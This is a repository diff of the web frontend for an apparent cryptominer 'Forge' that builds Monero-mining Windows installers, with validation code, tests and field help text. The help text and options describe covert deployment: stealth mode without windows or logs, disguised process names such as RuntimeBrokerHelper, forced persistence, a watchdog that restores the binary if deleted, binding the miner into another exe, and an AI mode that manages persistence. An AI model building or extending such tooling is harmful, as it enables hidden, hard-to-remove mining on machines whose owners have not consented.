||||
}
|
||||
if ((form.run_as === 'scheduled' || form.run_as === 'service') && !form.persistence) {
|
||||
notices.push('Persistence is forced on for Scheduled/Service run modes.');
|
||||
}
|
||||
if (form.fusion_enabled && !fusionPrepSelected) {
|
||||
notices.push('Fusion is enabled — upload prep.exe before you can forge.');
|
||||
}
|
||||
if (form.ai_enabled) {
|
||||
notices.push('AI calls Ollama on the control server PC (not the worker). Use http://localhost:11434 if Ollama runs on this machine.');
|
||||
}
|
||||
if (form.thread_mode === 'fixed' && form.adapt_to_hardware) {
|
||||
notices.push('Fixed thread count ignores "Adapt to hardware" at runtime.');
|
||||
}
|
||||
if (form.pool_port === 443 && !form.pool_tls) {
|
||||
notices.push('Port 443 usually requires TLS — enable Use TLS/SSL or verify your pool docs.');
|
||||
}
|
||||
if (form.pool_tls && form.pool_port === 3333) {
|
||||
notices.push('TLS on port 3333 is uncommon — many pools use 443 for SSL. Double-check pool docs.');
|
||||
}
|
||||
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
|
||||
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
|
||||
}
|
||||
|
||||
return notices;
|
||||
}
|
||||
71
server/web/src/help/forgeValidation.test.ts
Normal file
71
server/web/src/help/forgeValidation.test.ts
Normal file
@@ -0,0 +1,71 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { runForgePreflight, preflightHasErrors } from './forgeValidation';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
const baseForm = (): BuildRequest => ({
|
||||
worker_name: 'test-worker',
|
||||
server_url: 'http://192.168.1.50:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
threads: 4,
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 75,
|
||||
cpu_priority: 'below_normal',
|
||||
mining_mode: 'always',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'user',
|
||||
auto_start: true,
|
||||
persistence: true,
|
||||
process_name: '',
|
||||
max_cpu_usage_pct: 80,
|
||||
max_memory_percent: 70,
|
||||
min_free_ram_mb: 1024,
|
||||
idle_threshold_pct: 20,
|
||||
idle_duration_minutes: 5,
|
||||
schedule_start: '21:00',
|
||||
schedule_end: '06:00',
|
||||
install_base: 'localappdata',
|
||||
install_custom_base: '',
|
||||
install_relative_path: 'CryptoMiner/{worker}-{build_short}',
|
||||
adapt_to_hardware: true,
|
||||
self_healing: true,
|
||||
file_logging: true,
|
||||
stealth_mode: false,
|
||||
pool_host: 'pool.supportxmr.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: true,
|
||||
pool_pass: 'x',
|
||||
fusion_enabled: false,
|
||||
fusion_run_order: 'parallel',
|
||||
fusion_output_name: 'prep.exe',
|
||||
ai_enabled: false,
|
||||
ai_ollama_endpoint: 'http://localhost:11434',
|
||||
ai_model: 'llama3.2',
|
||||
});
|
||||
|
||||
describe('runForgePreflight', () => {
|
||||
it('blocks empty wallet (F-01)', () => {
|
||||
const form = { ...baseForm(), wallet: '' };
|
||||
const checks = runForgePreflight(form, false);
|
||||
expect(preflightHasErrors(checks)).toBe(true);
|
||||
expect(checks.some((c) => c.id === 'wallet' && c.level === 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('blocks localhost server URL (F-02)', () => {
|
||||
const form = { ...baseForm(), server_url: 'http://localhost:8989' };
|
||||
const checks = runForgePreflight(form, false);
|
||||
expect(preflightHasErrors(checks)).toBe(true);
|
||||
expect(checks.some((c) => c.id === 'server' && c.level === 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('errors when AI enabled without endpoint (AI-06)', () => {
|
||||
const form = { ...baseForm(), ai_enabled: true, ai_ollama_endpoint: '' };
|
||||
const checks = runForgePreflight(form, false);
|
||||
expect(checks.some((c) => c.id === 'ai' && c.level === 'error')).toBe(true);
|
||||
});
|
||||
|
||||
it('passes valid LAN forge form', () => {
|
||||
const checks = runForgePreflight(baseForm(), false);
|
||||
expect(preflightHasErrors(checks)).toBe(false);
|
||||
});
|
||||
});
|
||||
132
server/web/src/help/forgeValidation.ts
Normal file
132
server/web/src/help/forgeValidation.ts
Normal file
@@ -0,0 +1,132 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { runForgeCompatibilityChecks } from './forgeCompatibility';
|
||||
|
||||
export type PreflightLevel = 'ok' | 'warn' | 'error';
|
||||
|
||||
export interface PreflightCheck {
|
||||
id: string;
|
||||
level: PreflightLevel;
|
||||
message: string;
|
||||
}
|
||||
|
||||
function isLanReachableUrl(url: string): boolean {
|
||||
try {
|
||||
const u = new URL(url.trim());
|
||||
const host = u.hostname.toLowerCase();
|
||||
if (host === 'localhost' || host === '127.0.0.1' || host === '::1') return false;
|
||||
if (host.startsWith('192.168.') || host.startsWith('10.')) return true;
|
||||
if (host.startsWith('172.')) {
|
||||
const parts = host.split('.');
|
||||
if (parts.length >= 2) {
|
||||
const second = parseInt(parts[1], 10);
|
||||
if (second >= 16 && second <= 31) return true;
|
||||
}
|
||||
}
|
||||
return host.includes('.');
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function looksLikeXMRWallet(addr: string): boolean {
|
||||
const a = addr.trim();
|
||||
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
|
||||
}
|
||||
|
||||
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
||||
const checks: PreflightCheck[] = [];
|
||||
|
||||
if (!form.worker_name.trim()) {
|
||||
checks.push({ id: 'worker', level: 'error', message: 'Worker name is required (unique per machine).' });
|
||||
} else if (!/^[a-zA-Z0-9._-]+$/.test(form.worker_name.trim())) {
|
||||
checks.push({ id: 'worker', level: 'warn', message: 'Worker name has unusual characters; stick to letters, numbers, dash, underscore.' });
|
||||
} else {
|
||||
checks.push({ id: 'worker', level: 'ok', message: `Worker "${form.worker_name.trim()}" is valid.` });
|
||||
}
|
||||
|
||||
if (!form.server_url.trim()) {
|
||||
checks.push({ id: 'server', level: 'error', message: 'Server URL is required — miners must reach your control server.' });
|
||||
} else if (!isLanReachableUrl(form.server_url)) {
|
||||
checks.push({
|
||||
id: 'server',
|
||||
level: 'error',
|
||||
message: 'Server URL should be your LAN IP (e.g. http://192.168.1.10:8989), not localhost.',
|
||||
});
|
||||
} else {
|
||||
checks.push({ id: 'server', level: 'ok', message: 'Server URL looks reachable from other PCs on your network.' });
|
||||
}
|
||||
|
||||
if (!form.wallet.trim()) {
|
||||
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
|
||||
} else if (!looksLikeXMRWallet(form.wallet)) {
|
||||
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4).' });
|
||||
} else {
|
||||
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
|
||||
}
|
||||
|
||||
if (!form.pool_host.trim()) {
|
||||
checks.push({ id: 'pool', level: 'error', message: 'Pool host is required.' });
|
||||
} else {
|
||||
checks.push({ id: 'pool', level: 'ok', message: `Pool ${form.pool_host}:${form.pool_port} configured.` });
|
||||
}
|
||||
|
||||
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
|
||||
checks.push({ id: 'install', level: 'error', message: 'Custom install base path is required.' });
|
||||
} else {
|
||||
checks.push({ id: 'install', level: 'ok', message: 'Install path configuration OK.' });
|
||||
}
|
||||
|
||||
const out = (form.output_dir || '').trim();
|
||||
if (!out) {
|
||||
checks.push({ id: 'output', level: 'warn', message: 'No output folder set — build will only be stored under data/builds (still downloadable).' });
|
||||
} else if (out.includes('..') || out.includes(':') || out.startsWith('\\') || out.startsWith('/')) {
|
||||
checks.push({ id: 'output', level: 'error', message: 'Output folder must be a relative path under server data_dir (example: exports).' });
|
||||
} else {
|
||||
checks.push({ id: 'output', level: 'ok', message: `Output folder: data/${out}` });
|
||||
}
|
||||
|
||||
if (form.fusion_enabled) {
|
||||
if (!fusionPrepSelected) {
|
||||
checks.push({ id: 'fusion', level: 'error', message: 'Fusion is on — upload your prep.exe.' });
|
||||
} else {
|
||||
checks.push({ id: 'fusion', level: 'ok', message: `Fusion ready → output ${form.fusion_output_name || 'prep.exe'}.` });
|
||||
}
|
||||
}
|
||||
|
||||
if (form.thread_mode === 'fixed' && form.threads < 1) {
|
||||
checks.push({ id: 'threads', level: 'error', message: 'Fixed thread count must be at least 1.' });
|
||||
}
|
||||
|
||||
if (form.ai_enabled) {
|
||||
const endpoint = (form.ai_ollama_endpoint || '').trim();
|
||||
const model = (form.ai_model || '').trim();
|
||||
if (!endpoint) {
|
||||
checks.push({ id: 'ai', level: 'error', message: 'AI Autonomy is on — set the Ollama endpoint URL.' });
|
||||
} else {
|
||||
try {
|
||||
const u = new URL(endpoint);
|
||||
if (!u.protocol.startsWith('http')) {
|
||||
checks.push({ id: 'ai', level: 'warn', message: 'Ollama endpoint should use http:// or https://.' });
|
||||
} else {
|
||||
checks.push({ id: 'ai', level: 'ok', message: `Ollama endpoint ${endpoint} configured.` });
|
||||
}
|
||||
} catch {
|
||||
checks.push({ id: 'ai', level: 'error', message: 'Ollama endpoint URL is not valid.' });
|
||||
}
|
||||
}
|
||||
if (!model) {
|
||||
checks.push({ id: 'ai', level: 'warn', message: 'AI model name is empty — will default to llama3.2 on the server.' });
|
||||
} else {
|
||||
checks.push({ id: 'ai', level: 'ok', message: `AI model: ${model}` });
|
||||
}
|
||||
}
|
||||
|
||||
// Incompatibility + coupling rules
|
||||
checks.push(...runForgeCompatibilityChecks(form, fusionPrepSelected));
|
||||
|
||||
return checks;
|
||||
}
|
||||
|
||||
export function preflightHasErrors(checks: PreflightCheck[]): boolean {
|
||||
return checks.some((c) => c.level === 'error');
|
||||
}
|
||||
17
server/web/src/help/installPreview.test.ts
Normal file
17
server/web/src/help/installPreview.test.ts
Normal file
@@ -0,0 +1,17 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { previewInstallPath } from './installPreview';
|
||||
|
||||
describe('previewInstallPath', () => {
|
||||
it('expands worker and build tokens (F-14)', () => {
|
||||
const path = previewInstallPath({
|
||||
install_base: 'localappdata',
|
||||
install_relative_path: 'CryptoMiner/{worker}-{build_short}',
|
||||
worker_name: 'office-pc',
|
||||
process_name: 'RuntimeHelper',
|
||||
});
|
||||
expect(path).toContain('office-pc-abc12345');
|
||||
expect(path).toContain('CryptoMiner\\office-pc-abc12345');
|
||||
expect(path).toContain('RuntimeHelper.exe');
|
||||
expect(path.startsWith('%LOCALAPPDATA%')).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -1,29 +1,28 @@
|
||||
export const SETUP_CHEATSHEET = [
|
||||
{
|
||||
title: '1. Launch the server',
|
||||
body: 'Run run.bat on your control PC. Open the dashboard at http://YOUR-LAN-IP:8989 from any device on your network.',
|
||||
title: '1. Calibrate the server',
|
||||
body: 'Open Calibrate once: set your LAN Public URL, upstream pool, and payout wallet. This configures the control server on this PC only.',
|
||||
},
|
||||
{
|
||||
title: '2. Settings first',
|
||||
body: 'Set your Monero wallet and pool in Settings. These become defaults for every installer you build.',
|
||||
title: '2. Forge your installer',
|
||||
body: 'All miner options live here — threads, install path, stealth, persistence, Fusion, AI. Incompatible mixes are blocked; grayed fields do not apply to your current picks. Green badges = baked into the .exe.',
|
||||
},
|
||||
{
|
||||
title: '3. Build an installer',
|
||||
body: 'Give each machine a unique Worker Name. Build install-{name}.exe. Server URL must be your LAN IP, not localhost, so other PCs can reach you.',
|
||||
title: '3. Deploy',
|
||||
body: 'Copy the built .exe to a worker machine (or USB). Run once — it embeds and connects back to your LAN dashboard.',
|
||||
},
|
||||
{
|
||||
title: '4. Deploy once per PC',
|
||||
body: 'Double-click the .exe on any Windows machine. It copies itself to your configured install folder, registers persistence if enabled, connects to your dashboard, and starts mining — no extra steps.',
|
||||
},
|
||||
{
|
||||
title: '5. Monitor',
|
||||
body: 'Watch Dashboard and Agents for hashrate graphs, CPU/RAM, shares, and online status.',
|
||||
title: '4. Command Deck',
|
||||
body: 'Watch live hashrate, CPU, and shares from every machine on your network.',
|
||||
},
|
||||
];
|
||||
|
||||
export const FIELD_HELP: Record<string, string> = {
|
||||
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
|
||||
server_url: 'Your control server address on the LAN. Workers connect here for jobs and stats. Use http://192.168.x.x:8989 not localhost.',
|
||||
server_url:
|
||||
'Control server URL baked into the installer (http://LAN-IP:port). Editable in Forge when your host IP changes; use a LAN address, not localhost.',
|
||||
output_dir:
|
||||
'Optional: also copy the finished .exe into a folder under the server data_dir (example: exports). This is just for convenience; builds are always kept under data/builds/<id>/ and downloadable.',
|
||||
wallet: 'Monero wallet address where pool payouts go. Must be a valid 95-character mainnet address starting with 4.',
|
||||
pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.',
|
||||
pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.',
|
||||
@@ -44,7 +43,7 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
|
||||
process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
|
||||
persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
|
||||
run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.',
|
||||
run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).',
|
||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||
fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.',
|
||||
@@ -53,8 +52,14 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
public_url: 'Override the LAN URL shown in Forge and given to new miners. Use http://192.168.x.x:8989 — not localhost — so other PCs can reach this server.',
|
||||
websocket_ping_seconds: 'How often the server pings dashboard and agent WebSockets (seconds). Keeps NAT/firewall sessions alive.',
|
||||
log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.',
|
||||
adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
|
||||
self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
|
||||
file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
|
||||
stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
|
||||
ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.',
|
||||
ai_ollama_endpoint: 'Ollama API URL on the control server machine (example: http://localhost:11434). The hub calls Ollama — not the worker directly.',
|
||||
ai_model: 'Ollama model name to use for AI decisions (example: llama3.2). Must be pulled locally on the control server.',
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user